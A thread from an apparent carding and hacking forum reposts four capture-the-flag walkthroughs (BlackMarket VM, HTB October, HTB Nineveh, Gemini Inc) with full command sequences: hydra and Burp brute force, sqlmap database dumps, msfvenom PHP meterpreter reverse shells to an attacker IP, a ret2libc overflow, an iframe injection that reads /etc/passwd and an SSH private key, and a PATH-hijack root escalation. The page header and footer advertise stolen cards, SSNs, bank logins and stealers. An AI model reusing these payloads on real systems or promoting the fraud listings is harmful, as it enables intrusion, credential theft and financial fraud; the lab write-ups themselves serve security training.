Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis





PLACE YOUR TEXT HERE FOR ADVERTISE
PLACE YOUR TEXT HERE FOR ADVERTISE
CC+CVV Private Base Wholesale & Retail | 200+ Countries | Rare BINs
Best CC Shop Daily Updates | 200+ Countries | High Quality | 24/7 Fast Support
BlackBet.cc Banks, Shops, Real Docs, SSN+DOB, PayPal, GVoice/Gmail, Lookups











>PLACE TEXT ADVERTISING HERE< &PLACE TEXT ADVERTISING HERE< >PLACE TEXT ADVERTISING HERE< >PLACE TEXT ADVERTISING HERE<





Announcement : Black Hat Forum is one of the Best Black Hat Carding Forum welcome you. We will share great stuff for our loved members, hope you enjoy your stay on our Black Hat Forum and you will return to us EVERYDAY. Stay Safe Enjoy Blackhat Carding Forum.


  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5


[Guide] How to Hack The Blackmarket VM (CTF Challenge)
#1
0
0
BlackMarket VM presented at Brisbane SecTalks BNE0x1B (28th Session) which is focused on students and other InfoSec Professional. This VM has a total of 6 flags and one r00t flag. Each Flag leads to another Flag and flag format is flag {blahblah}. Download it from

[To see content please register here]

.

VM Difficulty Level: Beginner/Intermediate
Penetrating Methodology
  • Network Scanning (Nmap, netdiscover)
  • Information gathering:
  • Abusing web browser for the 1st flag
  • Generate dictionary (Cewl)
  • FTP brute-force (hydra)
  • FTP login for the 2nd flag
  • SQL injection for the 3rd flag
  • Blackmarket login for the 4th flag
  • Squirrel mail login for the 5th flag
  • Get cipher mail from inside Inbox. Draft
  • Decipher the mail and reach to backdoor.php
  • Upload backdoor shell
  • Netcat session for the 6th flag
  • Import python one-liner for proper TTY shell
  • Sudo Rights Privilege Escalation
  • Get Root access and capture the flag.
Let’s Breach!!!
Let’s start with getting to know the IP of VM (Here, I have it at 192.168.1.104 but you will have to find your own).
netdiscover
1
netdiscover

[Image: 1.png?w=687&ssl=1]
Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104

As you can observe it has dumped a lot of details related to open ports and services running through them.
[Image: 2.png?w=687&ssl=1]
Knowing port 80 is open in the victim’s network I preferred to explore his IP in a browser. It put-up a Blackmarket login page but we don’t have credential yet, therefore, we like to view its source code for getting a clue.
[Image: 3.png?w=687&ssl=1]
BOOOMMM!! Luckily I found the 1st flag from its source code which was in base64.
flag1 {Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=}
[Image: 4.png?w=687&ssl=1]
Since the 1st flag was the base64 encoded so we try to decode it with help of the following syntax.
Syntax: echo ‘base64 encoded text’ | base64 -d
WoW!! It sounds CIA Operation Treadstone…………………
[Image: 5.png?w=687&ssl=1]
With help of Google I found this

[To see content please register here]

and after reading the whole article it becomes clear to me what CIA Operation Treadstone is all about and why flag 1 has held it secretly. Might be Black-market login credential could be extracted from here, therefore I decide to generate a dictionary with help of ‘Jason Bourne’ movie’s character. By executing the following command, we generated a wordlist for username and password dictionary and save it as dict.txt.

cewl

[To see content please register here]

-d 2 -w /root/Desktop/dict.txt

1
cewl

[To see content please register here]

-d 2 -w /root/Desktop/dict.txt

[Image: 6.png?w=687&ssl=1]
As we knew port 21 is open FTP, therefore, we use the above dictionary for FTP brute-force attack with help of hydra.
hydra -L dict.txt -P dict.txt 192.168.1.104 ftp
1
hydra -L dict.txt -P dict.txt 192.168.1.104 ftp

Successfully found FTP-login user: nicky password: CIA
[Image: 7.png?w=687&ssl=1]
Then with help above credential, we logged into FTP and enumerate IMP.txt from inside /IMPFiles and download it with the help of the following command.
ftp 192.168.1.104
ls -al
cd ftp
ls -al
cd IMPFiles
ls -al
get IMP.txt

1
2
3
4
5
6
7

ftp 192.168.1.104
ls -al
cd ftp
ls -al
cd IMPFiles
ls -al
get IMP.txt

[Image: 8.png?w=687&ssl=1]
With help of cat command, we open the IMP.txt file and found flag2 from inside it.  Here also we read the given message and analysis the given hint “CIA blackmarket Vehicle workshop”.
cat IMP.txt
1
cat IMP.txt

flag2 {Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy}
[Image: 9.png?w=687&ssl=1]
Looking at above hint I focus on “Vehicle workshop” and start examining the web browser for every possible directory having Vehicle/workshop and Unfortunately I retrieved following web page when tried

[To see content please register here]


1

[To see content please register here]


It was a dashboard of the Black-Market Auto Workshop.
[Image: 10.png?w=687&ssl=1]
After examining the whole dashboard we check-out the Spare Parts and observe its web page and URL. So we decide to use SQLMAP against for SQL injection.
[Image: 11.png?w=687&ssl=1]
Then execute the following command for fetching its database name with help of sqlmap.
sqlmap -u

[To see content please register here]

--dbs --batch

1
sqlmap -u

[To see content please register here]

--dbs --batch

[Image: 12.png?w=687&ssl=1]
Here I found some database names and as per my consideration, it should be blackmarket therefore without wasting time I step ahead for fetching tables from inside it.
[Image: 13.png?w=687&ssl=1]
sqlmap -u

[To see content please register here]

-D BlackMarket --dump-all --batch

1
sqlmap -u

[To see content please register here]

-D BlackMarket --dump-all --batch

Here I  found a table “flag” and capture the 3rd flag from here.
Flag3 Find Jason Bourne Email access.
[Image: 14.png?w=687&ssl=1]
Then we have fetched table “user” and found usernames with their hash passwords.
[Image: 15.png?w=687&ssl=1]
With help of the online MD-5 decrypting tool, we decode above-enumerated hashes and found following.
Username: admin |password:  cf18233438b9e88937ea0176f1311885 MD5: BigBossCIA
Username: user |password:  0d8d5cd06832b29560745fe4e1b941cf md5 (md5($pass)) : user
[Image: 16.png?w=687&ssl=1]
Then again we explore target IP in the browser and enter following credential for login.
admin
BigBossCIA

1
2

admin
BigBossCIA

It put-up a pop with flag 4 along with a message as shown.
flag4{bm90aGluZyBpcyBoZXJl}
Jason Bourne Email access ?????
[Image: 17.png?w=687&ssl=1]
From Inside customers, I got email Id [email protected] of user Jason Bourne.
[Image: 18.png?w=687&ssl=1]
At this stage I felt to use Dirb for a directory brute-force attack, here we notice /squirrelmail/ and for sure we will be going to get something from here.
[Image: 19.1.png?w=687&ssl=1]
So we explore following URL

[To see content please register here]

and enter given below credential as described in the 4th flag (Jason Bourne Email access ?????)

Username: [email protected]
Password: ?????
It gives the following mailbox as shown and I start further enumeration.
[Image: 19.png?w=687&ssl=1]
Then while inspecting INBOX. Drafts I found the 5th flag from inside IMPORTANT MESSAGE mail.
Flag5 {RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=}
And after reading this we find some encoded text which needs to be decoded.
[Image: 20.png?w=687&ssl=1]
Then I decoded the above text as shown and after reading it, I concluded that there should be a “passpass.jpg” under a directory /kgbbackdoor inside Blackmarket workshop which will take us to the actual backdoor.
[Image: 21.png?w=687&ssl=1]
So without wasting time I look for the above-said path.

[To see content please register here]


1

[To see content please register here]


hhheheyy!!! This image must be hiding something inside, let’s download it
[Image: 22.png?w=687&ssl=1]
Then I use string tool and enter the following command to extract metadata from inside it.
strings PassPass.jpg
1
strings PassPass.jpg

Here we found something interesting.
Pass = 5215565757312090656
1
Pass = 5215565757312090656

[Image: 24.png?w=687&ssl=1]
Since the above extract metadata “Pass” which could be the possible password, and we can use this for further approach, therefore, we try to decode it. As it was in decimal (5215565757312090656) format so first, we decode it into hex (4861696C4B474220) then decode it into ascii and obtained “HailKGB”
[Image: 25.png?w=687&ssl=1]
As slowly and gradually we are moving towards our goal as it getting more-and-more hectic for me. After penetrating more I reached following URL where you will found Page Not Found error message…….

[To see content please register here]


1

[To see content please register here]


BANG ON Dear, it is an illusion because at this page you will get a hidden login form as declared in the encrypted mail. Still, if you have any confusion, please read above decoded text message drop for Dimitri one more time, everything will be cleared to you.
[Image: 28.png?w=687&ssl=1]
B0000MMM!!! Here we have access the backdoor about whom the sender has informed to Dimitri.
[Image: 29.png?w=687&ssl=1]
Now let’s enter attacker IP: 192.168.1.107 and listening port 4444 and then start netcat listen in a new terminal to get victim’s reverse connection.
nc -lvp 4444
1
nc -lvp 4444

[Image: 31.1.png?w=687&ssl=1]
With help of netcat, we successfully spawn pty shell of victim’s VM machine then open flag.txt with help of cat command and found 6th the last flag of this VM. Now we need to get root access to finish this challenge.
cat flag.txt
flag6{Um9vdCB0aW1l}
cd /home
ls -al
cd .Mylife
ls -al
cat .Secret

1
2
3
4
5

cd /home
ls -al
cd .Mylife
ls -al
cat .Secret

while reading the message I notice something prodigious i.e. DimitriHateApple because the file is named as secret, therefore, I took DimitriHateApple as the password for user: Dimitri
[Image: 31.png?w=687&ssl=1]
Then I try to login with Dimitri and for that, I execute the following command to access proper terminal.
python -c 'import pty; pty.spawn("/bin/bash")'
su dimitri
DimitriHateApple

1
2
3

python -c 'import pty; pty.spawn("/bin/bash")'
su dimitri
DimitriHateApple

Great!!! We login successfully now let’s try privilege escalation for root access.
I was shocked when I checked sudo rights for user Dimitri because I notice ALL Privilege are allotted.
sudo -l
(ALL : ALL) ALL
sudo su

1
2
3

sudo -l
(ALL : ALL) ALL
sudo su

Yehhh!! We own root access.
[Image: 32.png?w=687&ssl=1]
cd /root
ls
cat THEEND.txt

1
2
3

cd /root
ls
cat THEEND.txt

HURRAYYYY!!!! We finished this challenge.
Happy Hacking
[Image: 33.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “October” which is available online for those who want to increase their skill in penetration testing and black box testing. October is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.16 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.16
1
nmap -sV 10.10.10.16

From given below image, you can observe we found port 22 and 80 are open on target system.
[Image: 1.png?w=687&ssl=1]
As port 80 is running http server we open the target machine’s ip address in our browser, and find that it is running octobercms.
[Image: 2.png?w=687&ssl=1]
We go to the default admin login page for octobercms at

[To see content please register here]

.

[Image: 3.png?w=687&ssl=1]
We can login to this CMS with default credentials; Username: admin Password: admin
[Image: 4.png?w=687&ssl=1]
And we got the admin access to October CMS, Now to get reverse shell first rename your php payload to ‘.php5 ‘. We use msfvenom to create a php payload and save it as shell.php5.
msfvenom -p php/meterpreter/reverse_tcp  lhost=10.10.14.25 lport=4444 -f raw > shell.php5
1
msfvenom -p php/meterpreter/reverse_tcp  lhost=10.10.14.25 lport=4444 -f raw > shell.php5

[Image: 6.png?w=687&ssl=1]
After create the payload we setup our listener using metasploit.
msf > use exploit/multi/handler
msf > exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf > exploit(multi/handler) > set lhost 10.10.14.25
msf > exploit(multi/handler) > set lport 4444
msf > exploit(multi/handler) > run

1
2
3
4
5

msf > use exploit/multi/handler
msf > exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf > exploit(multi/handler) > set lhost 10.10.14.25
msf > exploit(multi/handler) > set lport 4444
msf > exploit(multi/handler) > run

[Image: 7.png?w=687&ssl=1]
Now click on Media in the top toolbar, now upload your PHP reverse shell, and click on the public link which is on the right side.
[Image: 8.png?w=687&ssl=1]
As soon as we click on the link we get our revershell. We use sysinfo command to check the system information about the target machine.
[Image: 9.png?w=687&ssl=1]
Now spawn a tty shell and try to find binaries in the system with suid bit set.
meterpreter  > shell
python -c "import pty;pty.spawn('/bin/bash')"
find / -perm -4000 2>/dev/null

1
2
3

meterpreter  > shell
python -c "import pty;pty.spawn('/bin/bash')"
find / -perm -4000 2>/dev/null

[Image: 10.png?w=687&ssl=1]
We find a binary called ovrflw that has suid bit set. We download the file into our system using meterpreter.
meterpreter > download /usr/local/bin/ovrflw /root/Desktop
1
meterpreter > download /usr/local/bin/ovrflw /root/Desktop

[Image: 11.png?w=687&ssl=1]
We open the file in gdb and take a look at the assembly code. At line main+64 we find the strcpy function, As strcpy is vulnerable to buffer overflow we try to exploit it.
[Image: 12.png?w=687&ssl=1]
First we create a 150 bytes long string to find the EIP offset using patter_create script.
./pattern_create.rb  -l 150
1
./pattern_create.rb  -l 150

[Image: 13.png?w=687&ssl=1]
We run the file in gdb along with the 150 byte character as the argument and find that the EIP register was overwritten with 0x64413764.
[Image: 14.png?w=687&ssl=1]
We pass that into /usr/share/metasploit-framework/tools/pattern_offset.rb, we get an offset of 112. So we need to write 112 characters and then write the address of the instructions we want to be executed.
./pattern_offset.rb -q 64413764 -l 150
1
./pattern_offset.rb -q 64413764 -l 150

[Image: 15.png?w=687&ssl=1]
Now when we try to insert shellcode into the buffer but we were unable to execute it because of DEP. It prevents code from being executed in the stack. Now we are going to do a ret2libc attack to execute a process already present in the process’ executable memory. We go into the target machine and find ASLR in enabled so we have to brute force the address. Now we find the address of system, exit and /bin/sh.
gdb /usr/local/bin/ovrflw -q
(gdb) b main
(gdb) run
(gdb) p system
(gdb) find 0xb75bd310, +9999999, "/bin/sh"
(gdb) x/s 0xb76dfbac
(gdb) p exit

1
2
3
4
5
6
7

gdb /usr/local/bin/ovrflw -q
(gdb) b main
(gdb) run
(gdb) p system
(gdb) find 0xb75bd310, +9999999, "/bin/sh"
(gdb) x/s 0xb76dfbac
(gdb) p exit

[Image: 16.png?w=687&ssl=1]
Now we create our exploit we brute force the address using bash because of ASLR. We align the address in this order: system>exit>/bin/sh.  We get the root shell as soon as it matches our memory address.
[Image: 17.png?w=687&ssl=1]
After getting the root shell, we move to /root directory and find a file called root.txt we open the file and find the first flag.
[Image: 19.png?w=687&ssl=1]
After finding the first flag we go to /home/ directory, in home directory and find a directory called harry/. We go inside harry directory and find a file called user.txt, we open user.txt and find our final flag.
[Image: 20.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Nineveh” which is categories as retired lab presented by Hack the Box for making online penetration practices.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Penetration Methodology
Scanning
  • Open port and running services (Nmap)
Enumeration
  • Enumerating Web Directories (Dirb)
Exploiting
  • Brute force on PHPliteAdmin (Burp Suite)
  • Spawning Shell (Metasploit)
  • Get user.txt
Privilege Escalation
  • User.txt
Walk-Through
Scanning
Since these labs are online accessible therefore they have static IP. The IP of Nineveh is 10.10.10.43 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.43
1
nmap -A 10.10.10.43

it enumerated port 80 and 443 are open.
[Image: 1.png?w=687&ssl=1]
We explored port 80 but didn’t observe any remarkable clue for next step.
[Image: 2.png?w=687&ssl=1]
Enumeration
So next, we use the dirb tool of Kali to enumerate the directories and found some important directories such as

[To see content please register here]

  then went to the web browser to explore them.

dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt

1
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt

[Image: 3.png?w=687&ssl=1]
It put-up login page as shown here.
[Image: 4.png?w=687&ssl=1]
So we try the random combination of username and password. While we have enter username: admin and Password: password it gave an error “Invalid Password” hence it was sure that the username must be the admin.
[Image: 5.png?w=687&ssl=1]
Then with help of burp suit, we made brute force attack and use the rockyou.txt file as password dictionary. Thus we obtain the correct combination for login.
Username: admin
Password: 1q2w3e4r5t

1
2

Username: admin
Password: 1q2w3e4r5t

[Image: 6.png?w=687&ssl=1]

Used above credential for login and get into admin console as shown.
[Image: 8.png?w=687&ssl=1]
At Notes tab we concluded that the given text of a file stored at someplace in the system entitled with ninevehNotes.txt.
[Image: 9.png?w=687&ssl=1]
After that we also explored port 443 and observe the following web page. We also look at it view source but didn’t notice any further hint.
[Image: 10.png?w=687&ssl=1]
Therefore again use dirb tool for directory brute force attack and observe the /db directory.
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt

1
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt

[Image: 11.png?w=687&ssl=1]
Exploiting
For a second time, we explored the above-enumerated directory and observe login page for phpliteAdmin v1.9.
[Image: 12.png?w=687&ssl=1]
Again we lunch brute forced the password field on /db with burp suit and got the password: password123.
[Image: 13.png?w=687&ssl=1]
By using password123 and we get inside the PHPLiteAdmin dashboard. Then with help of Google, we found the trick to exploit it after reading the description from exploit DB 24044.
[Image: 14.png?w=687&ssl=1]
After reading the description from exploit 24044 then we create a new database “ninevehNotes.txt.shell.php”
[Image: 15.png?w=687&ssl=1]
Here we have created a new table “Demo” and Add! Filed inside this.
[Image: 16.png?w=687&ssl=1]
Now create an entry in filed 1 as shown.
[Image: 17.png?w=687&ssl=1]
Let’s create a PHP payload for injecting inside the new database. We have to use the msfvenom command for generating PHP backdoor.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw

Now copy the code from *<?php….die(); and start multi handler in a new terminal
[Image: 18.png?w=687&ssl=1]
GO to insert tab and Past above-copied code inside the text field given for Value.
[Image: 19.png?w=687&ssl=1]
At last you will notice /var/tmp/ ninevehNotes.txt.shell.php is the Path for your database.
[Image: 20.png?w=687&ssl=1]
If you remember, we had already access admin console and observed a tab for Notes, use it to execute your backdoor.

[To see content please register here]


1

[To see content please register here]


[Image: 22.png?w=687&ssl=1]
Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.25
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit

1
2
3
4
5

msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.25
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit

From given below image you can observe meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation.
meterpreter > sysinfo
meterpreter > cd /home
meterpreter > ls
meterpreter > cd amrois
meterpreter >ls
meterpreter > cat user.txt

1
2
3
4
5
6

meterpreter > sysinfo
meterpreter > cd /home
meterpreter > ls
meterpreter > cd amrois
meterpreter >ls
meterpreter > cat user.txt

[Image: 24.png?w=687&ssl=1]
Privilege Escalation
After doing a little bit enumeration we notice a directory report is owned by the user amrois and these reports were being continuously generated by chkrootkit in every minute.
With help of Google, we came to know that Metasploit contains an exploit for chkrootkit exploitation. After entering following command as shown in the given image to load exploit/unix/local/chkrootkit module then set session 1 and arbitrary lport such as 4545 and run the module.
This will give another session, as you can see we have spawned command shell of the target’s machine. Now if you will check uid by typing id it will show uid=0 as root.
id
cd /root

1
2

id
cd /root

And to see the list of files in /root type:
ls -lsa
1
ls -lsa

In the list you will see that there is a text file and read that file type :
cat root.txt
1
cat root.txt

Congrats!! We hit Goal finished both tasks and at end obtain the root access.
[Image: 25.png?w=687&ssl=1]

Gemini Inc has contacted you to perform a penetration testing on one of their internal systems. This system has a web application that is meant for employees to export their profile to a PDF. Identify any vulnerabilities possible with the goal of complete system compromise with root privilege. To demonstrate the level of access obtained, please provide the content of flag.txt located in the root directory as proof.
Download it from

[To see content please register here]

.

Penetrating Methodologies
  • Scanning (Nmap)
  • Abusing web application for export injection vulnerability
  • Exploit web application via html iframe
  • Steal SSH RSA file
  • Access tty shell through ssh login
  • Enumerate file having SUID bit
  • Privilege Escalation
  • Get root shell
  • Complete the task and capture the Flag.txt
Let’s GO000!!!
To scan our target IP we will use aggressive scan (-A)
nmap -p- -A 192.168.1.103 --open
1
nmap -p- -A 192.168.1.103 --open

[Image: 1.png?w=687&ssl=1]
As result, it figures out port 22 and 80 was open. Also found a directory /test2 When explored target IP through the web browser it put up following web page as discussed.
[Image: 2.png?w=687&ssl=1]
Then we explored /test2 where we read the following message for admin and also look after at the URL given here.
[Image: 3.png?w=687&ssl=1]
Then at login form, we tried the hit-try method for login into the admin console and luckily at 5th attempt we get successful login when we submit following credential.
Username: admin
Password: 1234
[Image: 4.png?w=687&ssl=1]
After login into admin console successfully we check available action that can be performed by the administrator and here it shows the following actions.
  • Edit profile
  • Export profile
[Image: 5.png?w=687&ssl=1]
So we execute export profile to observe what is in actually it is exporting but could not figure out from its output as shown in below image, therefore, we decided to capture its request.
[Image: 6.png?w=687&ssl=1]
Further, with help of burp suit, we try to capture its browser request and sent the Intercepted request into the repeater and here I saw the export script possibly gave us the user profile page admin in PDF format by a tool named wkhtmltopdf.
[Image: 7.png?w=687&ssl=1]
Security breaches if the web application does not filter the user’s input, the server is exposed to several loopholes  Because the most common exposures on the web, is the possibility to download an arbitrary file from a server. This state establishes a critical security issue, as it provides an attacker the ability to download delicate information from the server. For example download /etc/passwd file and so on.
We can abuse the wkhtmltopdf and try to download delicate information. Here we have written the following code for the index.php script that redirects to the any requested file.
[Image: 8.png?w=687&ssl=1]
In order to transfer it into the victim’s machine, therefore, we launch the PHP server for file transfer.
php -S 0.0.0.0:4444
1
php -S 0.0.0.0:4444

[Image: 9.png?w=687&ssl=1]
We got a hint for export injection from this source:

[To see content please register here]

and its on the basis we proceed for the following steps.

Now go with Action -> edit profile
Then injecting the following HTML code inside the text field given for the Display name
<iframe height="1000" width="800" src="http://192.168.1.108:4444/?file=/etc/passwd"></iframe>
1
<iframe height="1000" width="800" src="http://192.168.1.108:4444/?file=/etc/passwd"></iframe>

[Image: 10.png?w=687&ssl=1]
Now go with Action -> export profile
[Image: 11.png?w=687&ssl=1]
TERRIFIC!!!! It stands on our expectation and we have /etc/passwd file in front of us.  here we can clearly observe UID GID 1000 for user: gemini1
[Image: 12.png?w=687&ssl=1]
From nmap scan result we had seen there was a hint for SSH RSA key and we also knew the first username of this VM, therefore let’s try to export RSA file.
Now go with Action -> edit profile
Then injecting the following HTML code inside the text field given for the Display name
<iframe height="1000" width="800" src="http://192.168.1.108:4444/?file=/home/gemini1/.ssh/id_rsa"></iframe>
1
<iframe height="1000" width="800" src="http://192.168.1.108:4444/?file=/home/gemini1/.ssh/id_rsa"></iframe>

[Image: 13.png?w=687&ssl=1]
Now go with Action -> export profile
Feeling Incredible just after observing the following result, download it quickly.
[Image: 15.png?w=687&ssl=1]
With help of downloaded RSA, file connects to victim’s VM via ssh.
ssh -i login_rsa [email protected]
1
ssh -i login_rsa [email protected]

[Image: 16.png?w=687&ssl=1]
Then without wasting your time search for the file having SUID or 4000 permission with help of Find command for post exploitation.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null

Here we can also observe an interesting file/usr/bin/listinfo having suid permissions. And after exploring this file we notice it probably running netstat and date. Hence we can escalate privilege by exploiting environment PATH Variable, you can take help of our article from

[To see content please register here]

to know more about it.

[Image: 17.png?w=687&ssl=1]
cd /tmp
echo "/bin/sh" > date
chmod 777 date
echo $PATH
export PATH=/tmp:$PATH
/usr/bin/listinfo

1
2
3
4
5
6

cd /tmp
echo "/bin/sh" > date
chmod 777 date
echo $PATH
export PATH=/tmp:$PATH
/usr/bin/listinfo

As you can observe after that we execute id command and accomplished by root id.
[Image: 25.png?w=687&ssl=1]
As you can observe after that we execute id command and accomplished by root id. Now let’s finished this task by capturing the flag.txt flag from the inside root directory.
cd root
ls
cat flag.txt

1
2
3

cd root
ls
cat flag.txt

[Image: 26.png?w=687&ssl=1]
Reply







Users browsing this thread:
1 Guest(s)

 


Blackhat Carding forum



Search keywords: the best carding forum, credit card dumps, free credit cards, carding forum, carders forum, wu transfer, western union transfer, hacked ccv, cc dumps, legit carders, altenen hackers, hacking tutorials, free porn acconts, paypal dumps, bank account login, alboraaq hackers, cheap apple items carded, market hackers, fraud market, perfectmoney stealer, platinum card, database dump, atn, how to card btc, free paypal logs, altenen, how to card bitcoins, bitcoin carding, btc carding, amex cc, havij carding tutorial, shop credit card, visa cc, cheap shipping, alboraaq, underground forum, botnet, hacking programs, bitshacking, truehackers, cc stealer, how to get credit cards, dumps, pin, logs, email logs, hacking tools, hacking programs,carding tools, ccv checker, ccv balance checker, carding tutorials, mg transfer, wu transf, bank transfer, card clone, WebMoney carding, card clone, the best hacking country, india hackers team, alboraaq , pakistan hackers, wu transfer to nigeria, wu bug, wu transfer, iPhone carding shipping, hacking and carding forum, carding stuff, porn accounts, x'xx passwords, WebMoney hacking, abh cc live, fresh smtp, hacking forum scam free smtp, wmz carding , spam paypal, caring, true carders, carding board, what is the best hacking forum, www.hackingforum.ru, www.carderscave.ru, www.darkgeo.com, www.darkgeo.su, www.darkgeo.ru, the best hacking forum, freedom to palestine, indian hackers team, spaming tools, ams fresh spaming, inbox spaming, fresh leads, proxy list, bitcoin wallet stealer, how to hack a bitcoin wallet, perfect money adder, hacking forum rip, carding board, western union transfer only for real hackers, carding 2020, carders 2020, carders forum 2020, carding forum 2020, hacking forum 2020, fraud market 2020, carding tutorials 2020, carding forum 2020, carders forum 2020, carding tutorials 2020, carders 2020, hackers forum 2020, hacking forum 2020, fraud market 2020, hacked wu 2020, carded iphone 2020, cardingf.com. Carding forum, Carders Forum, Hacking Forum, Hackers Forum, Cheap WU Transfer, CCV Dumps, Legit Carders 2020, ATN Team, Altenen, Hacking Tutorials, Free Premium Porn Accounts, Carding Tools 2020, Fraud Carding, Fraudsters Marketplace, Carding Forum Scam, Inbox Spamming, Free Mailer PHP, Free VPN 2020, Best VPN 2020, AlphaBay Market, Free Fresh Mail Leads, Real Hacker Forum, Alboraaq Review, Alboraaq Hackers, Perfect Money Stealer, Darknet Forums, Darknet Hackers, Darknet Carders, Cardable Websites 2020, Buy Credit Card Dumps, Western Union Generator, Money Gram Transfers Cheap, Free CVV, Free RDP, Cheap RDP, Amazon Carding 2020, NonVBV Cardable Websites, TOR VPN 2020, Russian Carding Forum, UK Carding Forums, Bitcoin Wallet Stealer, Bitcoin Carding, Bank Stealer, Hacked Bank Logins, Bank Logins, Free Keyloggers 2020, Best Keylogger Download, Free Receipt Generator, Card Bitcoins easy, Amazon method, Best Pakistan Carders, Dumps Section, Legit Carding, Unseen, Tutamail, Deepdotweb, CC Live, Free premium logs, iPhone 6s Carded, Cheap Electronics Carding, Black Marketplace, Cheap Bank Transfers, Carding Tools, Havij Hacking, India Hackers, Cheap Apple Carding 2020, PayPal Dumps Logs, Market Hackers, Fresh email logs, btc carding, amex cc, havij carding tutorial, shop credit card, visa cc, cheap shipping, alboraaq, underground forum, botnet, hacking programs, bitshacking, truehackers, cc stealer, how to get credit cards, dumps, pin, logs, email logs, hacking tools, hacking programs, carding tools, ccv checker, ccv balance checker, carding tutorials, mg transfer, wu transf, bank transfer, card clone, hacking stuff, card clone, the best hacking country, india hackers team, alboraaq scamming, pakistan hackers, wu transfer to nigeria, wu bug, wu transfer, iPhone carding shipping, hacking and carding forum, carding stuff, porn accounts, xxx passwords, xxx username and passwords, abh cc live, fresh smtp, hacking forum scam free smtp, ams spamming, spam paypal, caring, true carders, carding board, what is the best hacking forum, the best hacking forum, freedom to palestine, indian hackers team, spaming tools, ams fresh spaming, inbox spaming, the best carding forum, credit card dumps, free credit cards, carding forum, carders forum, wu transfer, western union transfer, hacked ccv, cc dumps, legit carders, altenen hackers, hacking tutorials, free porn acconts, paypal dumps, bank account login, alboraaq hackers, cheap apple items carded, market hackers, fraud market, perfectmoney stealer, platinum card, database dump, atn, how to card btc, free paypal logs, altenen, how to card bitcoins, bitcoin carding, fresh leads, proxy list, bitcoin wallet stealer, how to hack a bitcoin wallet, perfect money adder, hacking forum rip, carding board, western union transfer, carding 2020, carders 2020, carders forum 2020, carding forum 2020, hacking forum 2020, fraud market 2020, carding tutorials 2020, carding forum 2020, carders forum 2020, carding tutorials 2020, carders 2020, hackers forum 2020, hacking forum 2020, fraud market 2020, hacked wu 2020, carded iphone 2020, cardingf.com, altenen, altenen.com, alboraaq, alboraaq.com